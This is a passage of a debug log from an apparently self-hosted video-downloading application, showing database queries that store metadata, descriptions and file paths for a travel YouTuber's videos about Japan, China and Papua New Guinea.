(m0."source_id" = ?)) [~U[2026-06-12 16:37:29Z], 3] 18:29:15.749 [debug] QUERY OK source="media_items" db=0.6ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "8a73267b-68f9-4047-b44e-159d70867cc8", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", 5, "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, false, false, 3, [], 98, ~U[2026-06-12 16:37:29Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, 3, ~U[2026-06-12 16:37:29Z]] 18:29:15.749 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.750 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 14:56:32Z], 3] 18:29:15.751 [debug] QUERY OK source="media_items" db=0.7ms idle=2.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "a255e349-d1a6-4ff0-87df-aac86f2a2844", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", 6, "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, false, false, 3, [], 98, ~U[2026-05-29 14:56:32Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, 3, ~U[2026-05-29 14:56:32Z]] 18:29:15.751 [debug] QUERY OK source="sources" db=0.2ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.752 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 16:10:43Z], 3] 18:29:15.753 [debug] QUERY OK source="media_items" db=0.8ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "98d3f9c2-4f69-48ac-adbc-3b245f0c4d5f", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", 7, "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, false, false, 3, [], 98, ~U[2026-05-22 16:10:43Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, 3, ~U[2026-05-22 16:10:43Z]] 18:29:15.753 [debug] QUERY OK source="sources" db=0.2ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.753 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-24 14:29:43Z], 3] 18:29:15.755 [debug] QUERY OK source="media_items" db=1.0ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "9f3b8898-da5c-4e4d-9e97-2e0d13ce540b", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", 8, "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, false, false, 3, [], 98, ~U[2026-04-24 14:29:43Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, 3, ~U[2026-04-24 14:29:43Z]] 18:29:15.755 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.756 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-10 16:12:23Z], 3] 18:29:15.757 [debug] QUERY OK source="media_items" db=1.0ms idle=2.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "42b6302b-4cde-40fe-8ce3-6556ed95cee7", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", 9, "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, false, false, 3, [], 98, ~U[2026-04-10 16:12:23Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, 3, ~U[2026-04-10 16:12:23Z]] 18:29:15.757 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.758 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 20:18:27Z], 3] 18:29:15.759 [debug] QUERY OK source="media_items" db=0.6ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "f7dd5c7e-561a-46a1-b27e-1c9fe7fcb90f", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", 10, "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, false, false, 3, [], 98, ~U[2026-03-27 20:18:27Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, 3, ~U[2026-03-27 20:18:27Z]] 18:29:15.759 [debug] QUERY OK source="sources" db=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.760 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-13 17:17:03Z], 3] 18:29:15.763 [debug] QUERY OK source="media_items" db=2.6ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "1300ee3d-952a-4308-8f0e-1a4c5891cf36", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", 11, "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, false, false, 3, [], 98, ~U[2026-03-13 17:17:03Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, 3, ~U[2026-03-13 17:17:03Z]] 18:29:15.763 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.763 [debug] QUERY OK source="media_items" db=0.2ms idle=4.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-06 15:05:17Z], 3] 18:29:15.775 [debug] QUERY OK source="media_items" db=11.0ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", 